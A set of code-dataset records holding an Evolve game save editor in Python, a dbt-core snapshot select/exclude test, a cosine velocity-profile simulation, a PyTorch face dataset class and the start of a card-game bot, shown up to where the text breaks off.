parsed_args.filepath = filename\n return parsed_args\n\n\ndef edit_evolve_save(args):\n ese = EvolveSaveEditor()\n ese.load_data_from_file(args.filepath)\n ese.adjust_save_data()\n ese.save_data_to_file(args.filepath)\n\n\ndef get_logger():\n logger = logging.getLogger(\"evolvesaveeditor.py\")\n configure_logging(logger)\n return logger\n\n\ndef configure_logging(logger):\n logger.setLevel(logging.INFO)\n if not logger.hasHandlers():\n add_console_logging(logger)\n\n\ndef add_console_logging(logger):\n console_handler = logging.StreamHandler(sys.stdout)\n log_format = get_logging_format()\n console_handler.setFormatter(log_format)\n logger.addHandler(console_handler)\n\n\ndef get_logging_format():\n return logging.Formatter(\"%(asctime)s - %(name)s - %(levelname)s - %(message)s\")\n\n\nclass EvolveSaveEditor:\n \"\"\"\n The save editor itself.\n Expected usage flow:\n 1. Call a load method to input data from an external source into the instance\n 2. Call adjust_save_data() to actually edit the data\n 3. Call a save method to output save data from the instance to an external source\n \"\"\"\n save_data = {}\n\n BuildingAmountsParam = collections.namedtuple(\"BuildingAmountsParam\",\n [\"boost\", \"housing\", \"job\", \"morale_job\", \"power_generator\",\n \"production\", \"storage\", \"support\"],\n defaults=[1000, 1000, 100, 1000, 1000, 100, 1000, 1000])\n\n # noinspection PyArgumentList\n DEFAULT_BUILDING_AMOUNTS = BuildingAmountsParam() # use all default values\n\n BUILDING_TYPES = {\n # buildings that provide a production or efficiency bonus but don't make things themselves\n \"boost\": [\"attractor\", \"biodome\", \"biolab\", \"boot_camp\", \"citadel\", \"drone\", \"far_reach\", \"gps\", \"hospital\",\n \"library\", \"lumber_yard\", \"mass_driver\", \"mass_ejector\", \"metal_refinery\", \"processing\",\n \"red_mine\", \"rock_quarry\", \"satellite\", \"sawmill\", \"shrine\", \"swarm_plant\", \"temple\",\n \"tourist_center\", \"turret\", \"vr_center\", \"war_droid\", \"war_drone\", \"ziggurat\"],\n # buildings that increase the citizen cap\n \"housing\": [\"apartment\", \"basic_housing\", \"cottage\", \"farm\", \"habitat\", \"lodge\"],\n # buildings that provide job slots for citizens\n \"job\": [\"bank\", \"carport\", \"cement_plant\", \"coal_mine\", \"fabrication\", \"foundry\", \"living_quarters\",\n \"mine\", \"university\", \"wardenclyffe\"],\n # buildings that offer jobs which improve morale\n \"morale_job\": [\"amphitheatre\", \"casino\"],\n\n # buildings that can produce power when upgraded and turned on\n \"power_generator\": [\"coal_power\", \"geothermal\", \"e_reactor\", \"fusion\", \"fission_power\", \"mill\",\n \"oil_power\", \"windmill\"],\n # buildings that generate resources\n \"production\": [\"elerium_prospector\", \"elerium_ship\", \"factory\", \"g_factory\", \"gas_mining\", \"harvester\",\n \"helium_mine\", \"iron_ship\", \"iridium_mine\", \"iridium_ship\", \"mining_droid\", \"neutron_miner\",\n \"oil_extractor\", \"oil_well\", \"outpost\", \"red_factory\", \"smelter\"],\n # buildings with special limits\n \"special\": [\"dyson\", \"world_collider\", \"stellar_engine\", \"swarm_satellite\"],\n # buildings that increase maximum capacity of resources\n \"storage\": [\"cargo_yard\", \"cruiser\", \"elerium_contain\", \"exchange\", \"exotic_lab\", \"garage\", \"garrison\",\n \"gas_storage\", \"laboratory\", \"observatory\", \"oil_depot\", \"propellant_depot\", \"sensor_drone\", \"shed\",\n \"silo\", \"slave_pen\", \"soul_well\", \"smokehouse\", \"space_barracks\", \"storage_yard\", \"trade\",\n \"warehouse\", \"wharf\"],\n # buildings that increase the support limit in space zones\n \"support\": [\"moon_base\", \"nav_beacon\", \"nexus\", \"red_tower\", \"spaceport\", \"space_station\", \"starport\",\n \"swarm_control\", \"xfer_station\"]\n }\n DEFAULT_UNBOUNDED_RESOURCE_AMOUNT = 2000000000000\n DEFAULT_STACK_AMOUNT = 1000\n DEFAULT_PRESTIGE_CURRENCY_AMOUNTS = {\"Plasmid\": 30000, \"Phage\": 20000, \"Dark\": 4000}\n\n def load_data_from_file(self, filepath):\n \"\"\"\n Reads data from the file at the passed in filepath and stores it for later use\n :param filepath: path to the file where data should be read\n :return: nothing\n \"\"\"\n adjusted_path = os.path.normpath(filepath)\n try:\n with open(adjusted_path, \"r\") as file:\n lz_string = file.read()\n except OSError:\n logger = get_logger()\n logger.warning(f\"load_data_from_file() unable to read from file {adjusted_path}\")\n return\n\n json_str = self.decompress_lz_string(lz_string)\n try:\n self.save_data = json.loads(json_str)\n except json.JSONDecodeError as err:\n logger = get_logger()\n logger.warning(\n f\"load_data_from_file() could not load from file {adjusted_path} because of a json parse error {err}\")\n logger.debug(f\"failed json: {json_str}\")\n return\n except TypeError:\n logger = get_logger()\n logger.warning(\n f\"load_data_from_file() could not load from file {adjusted_path} because\"\n f\" the data was not encoded properly\")\n return\n\n def save_data_to_file(self, filepath):\n \"\"\"\n Outputs stored data to a file at the passed in filepath\n :param filepath: path to the file where save data should be outputted\n :return: nothing\n \"\"\"\n adjusted_path = os.path.normpath(filepath)\n json_str = json.dumps(self.save_data, separators=(',', ':'))\n lz_string = self.compress_lz_string(json_str)\n try:\n with open(adjusted_path, \"w\") as file:\n file.write(lz_string)\n except OSError:\n logger = get_logger()\n logger.warning(f\"save_data_to_file() unable to write to file {adjusted_path}\")\n return\n\n @staticmethod\n def compress_lz_string(raw):\n return lzstring.LZString.compressToBase64(raw)\n\n @staticmethod\n def decompress_lz_string(compressed):\n try:\n decompressed = lzstring.LZString.decompressFromBase64(compressed)\n except IndexError:\n logger = get_logger()\n logger.warning(f\"unable to decompress invalid value in decompress_lz_string()\")\n logger.debug(f\"failed decompress: {compressed}\")\n return None\n return decompressed\n\n def adjust_save_data(self):\n # adjust_data method that calls all individual helper methods before saving the data to member\n data = copy.deepcopy(self.save_data)\n\n # TODO: make this pull settings from somewhere to determine whether to run each one or not\n # TODO: make this pull settings from somewhere to determine parameters for each call\n data = self.fill_resources(data, self.DEFAULT_UNBOUNDED_RESOURCE_AMOUNT)\n data = self.stack_resources(data, self.DEFAULT_STACK_AMOUNT)\n data = self.adjust_buildings(data, self.DEFAULT_BUILDING_AMOUNTS)\n data = self.fill_population(data)\n data = self.fill_soldiers(data)\n data = self.adjust_prestige_currency(data, self.DEFAULT_PRESTIGE_CURRENCY_AMOUNTS)\n data = self.adjust_arpa_research(data)\n\n self.save_data = data\n\n @staticmethod\n def fill_resources(save_data, amount_for_unbounded):\n \"\"\"\n Adjust resources to maximum amounts.\n\n This method will update all resources to their specified maximums.\n If the resource doesn't have a maximum, it will update to amount_for_unbounded,\n provided that amount_for_unbounded is more than the current amount of the resource.\n\n :param save_data: the entire evolve savefile json data that needs to be adjusted\n :type save_data: dict\n :param amount_for_unbounded: amount to set unbounded resources (resources that don't have a max value) to\n :type amount_for_unbounded: int or float\n :return: save_data with resources at max amounts and unbounded resources at amount_for_unbounded amount\n :rtype: dict\n \"\"\"\n # resource node has the data we are interested in\n try:\n resources = copy.deepcopy(save_data[\"resource\"])\n except KeyError:\n logger = get_logger()\n logger.warning(\"could not load resource node in data passed to fill_resources()\")\n return save_data\n\n for name in resources:\n resource = resources[name]\n try:\n if resource[\"max\"] < 0 and resource[\"amount\"] < amount_for_unbounded:\n resource[\"amount\"] = amount_for_unbounded\n if 0 < resource[\"max\"] != resource[\"amount\"]:\n resource[\"amount\"] = resource[\"max\"]\n except KeyError:\n continue\n\n updated_data = save_data\n updated_data[\"resource\"] = resources\n return updated_data\n\n @staticmethod\n def stack_resources(save_data, amount):\n \"\"\"\n Add containers and crates to all relevant resources.\n\n This method will add containers and crates to any resources that match these criteria:\n At least 1 of the resource exists, meaning the resource is unlocked\n The resource can use crates and containers for expanded storage\n At least 1 Freight Yard building exists (so crates are unlocked)\n OR\n At least 1 Container Port building exists (so containers are unlocked)\n (If only the Freight Yard is available, this method will only set crates)\n (If only the Container Port is available, this method will only set containers)\n\n :param save_data: the entire evolve savefile json data that needs to be adjusted\n :type save_data: dict\n :param amount: amount of crates and containers to set each resource to\n :type amount: int\n :return: save_data with resources at max amounts and unbounded resources at amount_for_unbounded amount\n :rtype: dict\n \"\"\"\n try:\n resources = copy.deepcopy(save_data[\"resource\"])\n city = save_data[\"city\"]\n except KeyError:\n logger = get_logger()\n logger.warning(\"could not load resource or city node in data passed to stack_resources()\")\n return save_data\n\n crates_unlocked, containers_unlocked = EvolveSaveEditor._are_stackables_unlocked(city)\n\n if not crates_unlocked and not containers_unlocked:\n # nothing to add here\n return save_data\n\n for name in resources:\n resource = resources[name]\n try:\n EvolveSaveEditor._stack_one_resource(resource, amount, crates_unlocked, containers_unlocked)\n except KeyError:\n continue\n\n updated_data = save_data\n updated_data[\"resource\"] = resources\n return updated_data\n\n @staticmethod\n def _are_stackables_unlocked(city):\n crates_unlocked = False\n containers_unlocked = False\n try:\n if city[\"storage_yard\"][\"count\"] > 0:\n crates_unlocked = True\n except KeyError:\n logger = get_logger()\n logger.info(\"crates are not unlocked\")\n\n try:\n if city[\"warehouse\"][\"count\"] > 0:\n containers_unlocked = True\n except KeyError:\n logger = get_logger()\n logger.info(\"containers are not unlocked\")\n return crates_unlocked, containers_unlocked\n\n @staticmethod\n def _stack_one_resource(resource, amount, crates_unlocked, containers_unlocked):\n if not resource[\"stackable\"]:\n # this resource doesn't use containers and crates\n return\n if resource[\"amount\"] == 0:\n # don't add containers for resources that aren't unlocked yet\n return\n if crates_unlocked and resource[\"crates\"] < amount:\n resource[\"crates\"] = amount\n if containers_unlocked and resource[\"containers\"] < amount:\n resource[\"containers\"] = amount\n return\n\n @staticmethod\n def adjust_buildings(save_data, amounts):\n \"\"\"\n Adjust building counts to passed in amounts.\n\n This method will set, not add, the building counts.\n it won't update a building count if the building count is currently zero, as that will break things.\n It won't reduce a building count if the amount is less than the building count's current value.\n\n :param save_data: the entire evolve savefile json data that needs to be adjusted\n :type save_data: dict\n :param amounts: object with properties BuildingAmountsParam indicating the desired number of each building type\n :type amounts: BuildingAmountsParam\n :return: save_data with building counts adjusted appropriately\n :rtype: dict\n \"\"\"\n try:\n city = copy.deepcopy(save_data[\"city\"])\n space = copy.deepcopy(save_data[\"space\"])\n interstellar = copy.deepcopy(save_data[\"interstellar\"])\n portal = copy.deepcopy(save_data[\"portal\"])\n except KeyError:\n logger = get_logger()\n logger.warning(\n \"could not load city or space or interstellar or portal node in data passed to adjust_buildings()\")\n return save_data\n\n city = EvolveSaveEditor._update_building_counts(city, amounts)\n space = EvolveSaveEditor._update_building_counts(space, amounts)\n interstellar = EvolveSaveEditor._update_building_counts(interstellar, amounts)\n portal = EvolveSaveEditor._update_building_counts(portal, amounts)\n\n # update the save data and return it\n updated_data = save_data\n updated_data[\"city\"] = city\n updated_data[\"space\"] = space\n updated_data[\"interstellar\"] = interstellar\n updated_data[\"portal\"] = portal\n return updated_data\n\n @staticmethod\n def _update_building_counts(data, amounts):\n for building_name in data:\n building = data[building_name]\n try:\n if building[\"count\"] == 0:\n continue\n if building_name in EvolveSaveEditor.BUILDING_TYPES[\"special\"]:\n building[\"count\"] = EvolveSaveEditor._get_special_building_count(data, building_name,\n building[\"count\"])\n continue\n for type_name in EvolveSaveEditor.BUILDING_TYPES:\n if building_name in EvolveSaveEditor.BUILDING_TYPES[type_name]:\n amount = getattr(amounts, type_name)\n if building[\"count\"] < amount:\n building[\"count\"] = amount\n break\n except (KeyError, TypeError):\n continue\n return data\n\n @staticmethod\n def _get_special_building_count(other_building_data, name, curr_count):\n # world collider has total 1859 segments, last one has to be done manually\n if name == \"world_collider\" and curr_count < 1858:\n return 1858\n # swarm satellite scales based on swarm_control\n if name == \"swarm_satellite\":\n max_swarms = 18 * other_building_data[\"swarm_control\"][\"count\"]\n if curr_count < max_swarms:\n return max_swarms\n # other special buildings have total 100 segments, last one has to be done manually\n elif curr_count < 99:\n return 99\n return curr_count\n\n @staticmethod\n def fill_population(save_data):\n \"\"\"\n Fills citizen count up to maximum based on recalculated population cap\n\n This method goes through all the relevant buildings to figure out how many citizens\n the new save data should be able to accommodate, then updates population cap and current population to that num.\n It ignores the fact that some housing buildings need to be turned on to work, so errs on more citizens.\n\n :param save_data: the entire evolve savefile json data that needs to be adjusted\n :type save_data: dict\n :return: save_data with population's max and amounts set to the newly calculated value\n :rtype: dict\n \"\"\"\n try:\n resources = copy.deepcopy(save_data[\"resource\"])\n city = save_data[\"city\"]\n space = save_data[\"space\"]\n interstellar = save_data[\"interstellar\"]\n race = save_data[\"race\"]\n except KeyError:\n logger = get_logger()\n logger.warning(\"could not load resource or city or space or interstellar or race node in data passed to \"\n \"fill_population()\")\n return save_data\n try:\n # we need to know what species this is to figure out where the citizen count is stored\n species = race[\"species\"]\n citizen_node = resources[species]\n except KeyError:\n logger = get_logger()\n logger.warning(\"could not determine species in fill_population()\")\n return save_data\n\n new_citizen_cap = 0\n # use a wrapper function here to avoid a lot of try/except blocks\n new_citizen_cap += EvolveSaveEditor._get_building_count(city, \"basic_housing\")\n new_citizen_cap += EvolveSaveEditor._get_building_count(city, \"farm\")\n new_citizen_cap += EvolveSaveEditor._get_building_count(space, \"living_quarters\")\n new_citizen_cap += EvolveSaveEditor._get_building_count(interstellar, \"habitat\")\n new_citizen_cap += EvolveSaveEditor._get_building_count(city, \"cottage\") * 2 # each one holds 2\n new_citizen_cap += EvolveSaveEditor._get_building_count(city, \"apartment\") * 5 # each one holds 5\n\n try:\n if new_citizen_cap > citizen_node[\"amount\"]:\n citizen_node[\"max\"] = new_citizen_cap\n citizen_node[\"amount\"] = new_citizen_cap\n except KeyError:\n logger = get_logger()\n logger.warning(\"could not update population count in fill_population()\")\n return save_data\n\n updated_data = save_data\n updated_data[\"resource\"] = resources\n return updated_data\n\n @staticmethod\n def _get_building_count(save_data, building_name):\n try:\n return save_data[building_name][\"count\"]\n except KeyError:\n pass\n return 0\n\n @staticmethod\n def fill_soldiers(save_data):\n \"\"\"\n Fills soldier count up to maximum based on recalculated soldier cap\n\n This method goes through all the relevant buildings to figure out how many soldiers\n the new save data should be able to accommodate, then updates soldier cap and current soldiers to that number.\n It ignores the fact that some barracks buildings need to be turned on to work, so errs on more soldiers.\n It also heals any wounded soldiers.\n\n :param save_data: the entire evolve savefile json data that needs to be adjusted\n :type save_data: dict\n :return: save_data with soldier's max and amounts set to the newly calculated value\n :rtype: dict\n \"\"\"\n try:\n civic = copy.deepcopy(save_data[\"civic\"])\n city = save_data[\"city\"]\n space = save_data[\"space\"]\n interstellar = save_data[\"interstellar\"]\n except KeyError:\n logger = get_logger()\n logger.warning(\n \"could not load civic or city or space or interstellar node in data passed to fill_soldiers()\")\n return save_data\n\n new_soldier_cap = 0\n # use a wrapper function here to avoid a lot of try/except blocks\n new_soldier_cap += EvolveSaveEditor._get_building_count(city, \"garrison\") * 3 # each one holds 3\n new_soldier_cap += EvolveSaveEditor._get_building_count(space, \"space_barracks\") * 2 # each one holds 2\n new_soldier_cap += EvolveSaveEditor._get_building_count(interstellar, \"cruiser\") * 3 # each one holds 3\n\n try:\n if new_soldier_cap > civic[\"garrison\"][\"workers\"]:\n civic[\"garrison\"][\"workers\"] = new_soldier_cap\n civic[\"garrison\"][\"max\"] = new_soldier_cap\n civic[\"garrison\"][\"wounded\"] = 0\n except KeyError:\n logger = get_logger()\n logger.warning(\"could not update garrison details in fill_soldiers()\")\n return save_data\n\n updated_data = save_data\n updated_data[\"civic\"] = civic\n return updated_data\n\n @staticmethod\n def adjust_prestige_currency(save_data, amounts):\n \"\"\"\n Adjust prestige currency values to passed in amounts.\n\n This method will set, not add, the currencies.\n it won't update a currency if the currency is currently zero, as that can break things.\n It won't reduce a currency if the amount is less than the currency's current value.\n Example: call this function and pass in 1000 plasmids.\n If save_data has 0 plasmids, the function will return adjusted data with 0 plasmids.\n If save_data has between 1 and 999 plasmids, the function will return adjusted data with 1000 plasmids.\n If save_data has more than 1000 plasmids, the function will return adjusted data with the same plasmids.\n\n :param save_data: the entire evolve savefile json data that needs to be adjusted\n :type save_data: dict\n :param amounts: dict of prestige currencies and how much we should update each one to (int or float)\n :type amounts: dict\n :return: save_data with adjusted prestige currencies and relevant statistics\n :rtype: dict\n \"\"\"\n # race node has the data for the current run, stats node has the overall totals\n try:\n race = copy.deepcopy(save_data[\"race\"])\n stats = copy.deepcopy(save_data[\"stats\"])\n except KeyError:\n logger = get_logger()\n logger.warning(\"could not load race or stats node in data passed to adjust_prestige_currency()\")\n return save_data\n\n # update the live amounts\n race, plasmid_added = EvolveSaveEditor._update_prestige_currency_value(race, \"Plasmid\", amounts[\"Plasmid\"])\n race, phage_added = EvolveSaveEditor._update_prestige_currency_value(race, \"Phage\", amounts[\"Phage\"])\n race, dark_added = EvolveSaveEditor._update_prestige_currency_value(race, \"Dark\", amounts[\"Dark\"])\n\n # update the stats\n stats = EvolveSaveEditor._update_prestige_currency_stats(stats, \"plasmid\", plasmid_added)\n stats = EvolveSaveEditor._update_prestige_currency_stats(stats, \"phage\", phage_added)\n # dark isn't currently tracked in stats but maybe one day it will be\n stats = EvolveSaveEditor._update_prestige_currency_stats(stats, \"dark\", dark_added)\n\n # update the save data and return it\n updated_data = save_data\n updated_data[\"race\"] = race\n updated_data[\"stats\"] = stats\n return updated_data\n\n @staticmethod\n def _update_prestige_currency_value(data, currency, amount):\n added = 0\n try:\n if amount and data[currency][\"count\"]:\n added = amount - data[currency][\"count\"]\n if added > 0:\n data[currency][\"count\"] = amount\n else:\n added = 0\n except KeyError:\n pass\n return data, added\n\n @staticmethod\n def _update_prestige_currency_stats(data, currency, amount_added):\n try:\n if amount_added and data[currency]:\n data[currency] = data[currency] + amount_added\n except KeyError:\n pass\n return data\n\n @staticmethod\n def adjust_arpa_research(save_data):\n \"\"\"\n Adjust arpa research projects to 99% and genetic sequencing to 5 seconds from completion\n\n This method will update arpa research projects to 99% complete at the current rank.\n Since the launch facility is a one time project, it won't touch it if its been completed.\n It will update the genetic sequencing to 5 seconds away from completion.\n of course if the genetic sequencing had less than 5 seconds left, it will leave it as is.\n\n :param save_data: the entire evolve savefile json data that needs to be adjusted\n :type save_data: dict\n :return: save_data with adjusted arpa research project completions\n :rtype: dict\n \"\"\"\n try:\n arpa = copy.deepcopy(save_data[\"arpa\"])\n except KeyError:\n logger = get_logger()\n logger.warning(\"could not load arpa node in data passed to adjust_arpa_research()\")\n return save_data\n\n for research_name in arpa:\n research = arpa[research_name]\n try:\n # genetic sequencing is handled differently than others\n if research_name == \"sequence\":\n if research[\"progress\"] < research[\"max\"] - 5:\n research[\"progress\"] = research[\"max\"] - 5\n # launch facility only has 1 rank, ignore it if that rank is done\n elif research_name == \"launch_facility\":\n if research[\"rank\"] >= 1:\n continue\n EvolveSaveEditor._update_arpa_project(research)\n # we're in one of the uncapped rank researches\n else:\n EvolveSaveEditor._update_arpa_project(research)\n except (KeyError, TypeError):\n continue\n\n updated_data = save_data\n updated_data[\"arpa\"] = arpa\n return updated_data\n\n @staticmethod\n def _update_arpa_project(research):\n if research[\"complete\"] < 99:\n research[\"complete\"] = 99\n\n\nif __name__ == \"__main__\": # pragma: no cover\n main()\n","repo_name":"mattgiltaji/evolvesaveeditor","sub_path":"evolvesaveeditor.py","file_name":"evolvesaveeditor.py","file_ext":"py","file_size_in_byte":27262,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"72058194187","text":"import os\nimport pytest\nfrom dbt.tests.util import run_dbt, check_relations_equal, check_table_does_not_exist\nfrom tests.functional.simple_snapshot.fixtures import (\n seeds__seed_newcol_csv,\n seeds__seed_csv,\n models__schema_yml,\n models__ref_snapshot_sql,\n macros__test_no_overlaps_sql,\n snapshots_pg__snapshot_sql,\n snapshots_select__snapshot_sql,\n snapshots_select_noconfig__snapshot_sql,\n)\n\n\ndef all_snapshots(project):\n path = os.path.join(project.test_data_dir, \"seed_pg.sql\")\n project.run_sql_file(path)\n\n results = run_dbt([\"snapshot\"])\n assert len(results) == 4\n\n check_relations_equal(project.adapter, [\"snapshot_castillo\", \"snapshot_castillo_expected\"])\n check_relations_equal(project.adapter, [\"snapshot_alvarez\", \"snapshot_alvarez_expected\"])\n check_relations_equal(project.adapter, [\"snapshot_kelly\", \"snapshot_kelly_expected\"])\n check_relations_equal(project.adapter, [\"snapshot_actual\", \"snapshot_expected\"])\n\n path = os.path.join(project.test_data_dir, \"invalidate_postgres.sql\")\n project.run_sql_file(path)\n\n path = os.path.join(project.test_data_dir, \"update.sql\")\n project.run_sql_file(path)\n\n results = run_dbt([\"snapshot\"])\n assert len(results) == 4\n check_relations_equal(project.adapter, [\"snapshot_castillo\", \"snapshot_castillo_expected\"])\n check_relations_equal(project.adapter, [\"snapshot_alvarez\", \"snapshot_alvarez_expected\"])\n check_relations_equal(project.adapter, [\"snapshot_kelly\", \"snapshot_kelly_expected\"])\n check_relations_equal(project.adapter, [\"snapshot_actual\", \"snapshot_expected\"])\n\n\ndef exclude_snapshots(project):\n path = os.path.join(project.test_data_dir, \"seed_pg.sql\")\n project.run_sql_file(path)\n results = run_dbt([\"snapshot\", \"--exclude\", \"snapshot_castillo\"])\n assert len(results) == 3\n\n check_table_does_not_exist(project.adapter, \"snapshot_castillo\")\n check_relations_equal(project.adapter, [\"snapshot_alvarez\", \"snapshot_alvarez_expected\"])\n check_relations_equal(project.adapter, [\"snapshot_kelly\", \"snapshot_kelly_expected\"])\n check_relations_equal(project.adapter, [\"snapshot_actual\", \"snapshot_expected\"])\n\n\ndef select_snapshots(project):\n path = os.path.join(project.test_data_dir, \"seed_pg.sql\")\n project.run_sql_file(path)\n results = run_dbt([\"snapshot\", \"--select\", \"snapshot_castillo\"])\n assert len(results) == 1\n\n check_relations_equal(project.adapter, [\"snapshot_castillo\", \"snapshot_castillo_expected\"])\n check_table_does_not_exist(project.adapter, \"snapshot_alvarez\")\n check_table_does_not_exist(project.adapter, \"snapshot_kelly\")\n check_table_does_not_exist(project.adapter, \"snapshot_actual\")\n\n\n# all of the tests below use one of both of the above tests with\n# various combinations of snapshots and macros\nclass SelectBasicSetup:\n @pytest.fixture(scope=\"class\")\n def snapshots(self):\n return {\n \"snapshot.sql\": snapshots_pg__snapshot_sql,\n \"snapshot_select.sql\": snapshots_select__snapshot_sql,\n }\n\n @pytest.fixture(scope=\"class\")\n def seeds(self):\n return {\"seed_newcol.csv\": seeds__seed_newcol_csv, \"seed.csv\": seeds__seed_csv}\n\n @pytest.fixture(scope=\"class\")\n def models(self):\n return {\n \"schema.yml\": models__schema_yml,\n \"ref_snapshot.sql\": models__ref_snapshot_sql,\n }\n\n @pytest.fixture(scope=\"class\")\n def macros(self):\n return {\"test_no_overlaps.sql\": macros__test_no_overlaps_sql}\n\n\nclass TestAllBasic(SelectBasicSetup):\n def test_all_snapshots(self, project):\n all_snapshots(project)\n\n\nclass TestExcludeBasic(SelectBasicSetup):\n def test_exclude_snapshots(self, project):\n exclude_snapshots(project)\n\n\nclass TestSelectBasic(SelectBasicSetup):\n def test_select_snapshots(self, project):\n select_snapshots(project)\n\n\nclass SelectConfiguredSetup:\n @pytest.fixture(scope=\"class\")\n def snapshots(self):\n return {\"snapshot.sql\": snapshots_select_noconfig__snapshot_sql}\n\n @pytest.fixture(scope=\"class\")\n def seeds(self):\n return {\"seed_newcol.csv\": seeds__seed_newcol_csv, \"seed.csv\": seeds__seed_csv}\n\n @pytest.fixture(scope=\"class\")\n def models(self):\n return {\n \"schema.yml\": models__schema_yml,\n \"ref_snapshot.sql\": models__ref_snapshot_sql,\n }\n\n @pytest.fixture(scope=\"class\")\n def macros(self):\n return {\"test_no_overlaps.sql\": macros__test_no_overlaps_sql}\n\n # TODO: don't have access to project here so this breaks\n @pytest.fixture(scope=\"class\")\n def project_config_update(self):\n snapshot_config = {\n \"snapshots\": {\n \"test\": {\n \"target_schema\": \"{{ target.schema }}\",\n \"unique_key\": \"id || '-' || first_name\",\n \"strategy\": \"timestamp\",\n \"updated_at\": \"updated_at\",\n }\n }\n }\n return snapshot_config\n\n\nclass TestConfigured(SelectConfiguredSetup):\n def test_all_configured_snapshots(self, project):\n all_snapshots(project)\n\n\nclass TestConfiguredExclude(SelectConfiguredSetup):\n def test_exclude_configured_snapshots(self, project):\n exclude_snapshots(project)\n\n\nclass TestConfiguredSelect(SelectConfiguredSetup):\n def test_select_configured_snapshots(self, project):\n select_snapshots(project)\n","repo_name":"dbt-labs/dbt-core","sub_path":"tests/functional/simple_snapshot/test_select_exclude_snapshot.py","file_name":"test_select_exclude_snapshot.py","file_ext":"py","file_size_in_byte":5414,"program_lang":"python","lang":"en","doc_type":"code","stars":7817,"dataset":"github-code","pt":"82"} +{"seq_id":"35604893300","text":"import numpy as np\nfrom matplotlib import pyplot as plt\n\nclass CosProfile:\n def __init__(self, speedUp = True, thres = 0.95):\n self.speedUp = speedUp\n self.thres = thres\n\n def calPhase(self, vel, maxVel):\n normVel = abs(vel / maxVel)\n phi = np.arccos(1 - 2 * normVel)\n if abs(phi - np.pi) / np.pi * 180 < 0.5:\n return np.pi\n\n elif abs(phi) / np.pi * 180 < 0.5:\n return 0.0\n elif vel < 0.0:\n phi = -phi\n\n return phi\n\n def calTimeF(self, dest, phi, maxVel):\n return (2 * dest / maxVel) * (2 * np.pi - phi)/ (2 * np.pi - phi + np.sin(phi))\n\n # calcurate time when reach max Vel form now\n def calTime1(self, phi, vel, maxVel, maxAcc):\n return (maxVel - vel) * (np.pi - phi) / (maxAcc * (1 + np.cos(phi)))\n\n # calcurate time when start to decelate\n def calTime2(self, maxVel, maxAcc):\n return (maxVel * np.pi) / (2 * maxAcc)\n\n def calAcc(self, dest, vel, maxVel, acc_2, maxAcc, period ):\n phi = self.calPhase(vel = vel, maxVel = maxVel)\n if phi == np.pi:\n time2 = self.calTime2(maxVel = maxVel, maxAcc = maxAcc)\n B = abs(maxVel * time2 / 2)\n if B < dest:\n acc = 0.0\n else:\n self.speedUp = False\n acc = -0.1\n elif np.pi == 0.0:\n if self.speedUp:\n return 0.1\n else:\n return -0.1\n else:\n if self.speedUp == False:\n phi = 2 * np.pi - phi\n timeF = self.calTimeF(dest, phi, maxVel)\n acc = (maxVel / 2) * (2 * np.pi - phi) * np.sin(phi) / timeF\n return acc, phi\n\n time1 = self.calTime1(phi = phi, vel = vel, maxVel = maxVel, maxAcc = maxAcc)\n time2 = self.calTime2(maxVel = maxVel, maxAcc = maxAcc)\n A = abs(maxVel * (time1 + np.sin(phi)) / 2)\n B = abs(maxVel * time2 / 2)\n\n # 減速域\n if B - A >= dest * 1.0:\n self.speedUp = False\n if phi == np.pi:\n print(\"slow down start\")\n acc = -0.1\n else:\n print(\"slow down\")\n acc = -maxAcc * np.sin(phi)\n # 定速域\n elif abs(phi - np.pi) / np.pi * 180 < 1:\n acc = 0.0\n # 加速域\n elif A + B < dest:\n if phi == 0.0:\n acc = 0.01\n else:\n acc = abs(maxAcc * np.sin(phi))\n # 減速しても届かない → 加速または定速域\n # 加速しても良いかを判断する\n else:# B - A < dest: # <= A + B\n # print(\"median\")\n acc = maxAcc * np.sin(abs(phi))\n vel_2 = vel * acc * period\n # time1 = self.calTime1(phi = np.pi, vel = vel_2, maxVel = vel_2, maxAcc = maxAcc)\n time2 = self.calTime2(maxVel = vel_2, maxAcc = maxAcc)\n # A = abs(vel_2 * (time1 * np.sin(np.pi)) /2 )\n B = abs(vel_2 *time2 / 2)\n if B < dest: # 加速しても減速が間に合う\n pass\n else: # 減速が間に合わない\n acc = 0.0\n\n return acc, phi\n\n\n\ndef main():\n dest = 100.0\n maxAcc = 30.0\n maxVel = 30.0\n vel = 0.0\n pos = 0.0\n period = 0.01\n list_vel = [vel]\n list_pos = [pos]\n list_acc = [0.0]\n list_phi = [0.0]\n list_time = [0.0]\n i = 0\n pro = CosProfile(speedUp = True, thres = 0.9999)\n while dest - pos > 0.01:\n i = i + 1\n acc, phi = pro.calAcc(dest = dest - pos, vel = vel, maxVel = maxVel, acc_2 = list_acc[-1], maxAcc = maxAcc, period = period)\n vel = min(vel + acc * period, maxVel)\n print(dest - pos)\n pos = pos + vel * period\n list_acc.append(acc)\n list_vel.append(vel)\n list_pos.append(pos)\n list_phi.append(phi)\n list_time.append(i * period)\n\n fig1 = plt.figure()\n plt.plot(list_time, list_pos)\n plt.plot(list_time, list_vel)\n plt.plot(list_time, list_acc)\n fig2 = plt.figure()\n plt.plot(list_time, list_phi)\n plt.show()\n\nif __name__ == \"__main__\":\n main()","repo_name":"hosogaya/velocity_profile","sub_path":"cosProfile.py","file_name":"cosProfile.py","file_ext":"py","file_size_in_byte":4322,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"2300659577","text":"from torch.utils.data import Dataset\nfrom PIL import Image\n\n\nclass FaceDataset(Dataset):\n\n def __init__(self, opt, phase=None, transform=None):\n self.transform = transform\n if phase is None:\n phase = opt.phase\n input_path = opt.data_dir / opt.dataset_name / phase\n self.filenames = [filename for filename in input_path.iterdir() if filename.suffix == '.png']\n self.filenames.sort()\n self.len = len(self.filenames)\n\n def __getitem__(self, index):\n image_fn = self.filenames[index]\n image = Image.open(image_fn)\n if self.transform is not None:\n image = self.transform(image)\n return image\n\n def __len__(self):\n return self.len\n","repo_name":"jason2714/de-i2i-gan","sub_path":"defectGAN/datasets/face_dataset.py","file_name":"face_dataset.py","file_ext":"py","file_size_in_byte":733,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"35848679926","text":"\n\n# ------------------------------------------------------------\n# Use green objects\n# ------------------------------------------------------------\nclass UseGreen:\n def __init__(self, state):\n\n self.state = state\n self.l_turn = []\n self.l_cards_on_player_board = []\n self.get_turn()\n\n def get_turn(self):\n l_cards_can_summon_after = []\n if len(self.state.l_cards_on_left_lane_player) > 0:\n self.l_cards_on_player_board += self.state.l_cards_on_left_lane_player\n if 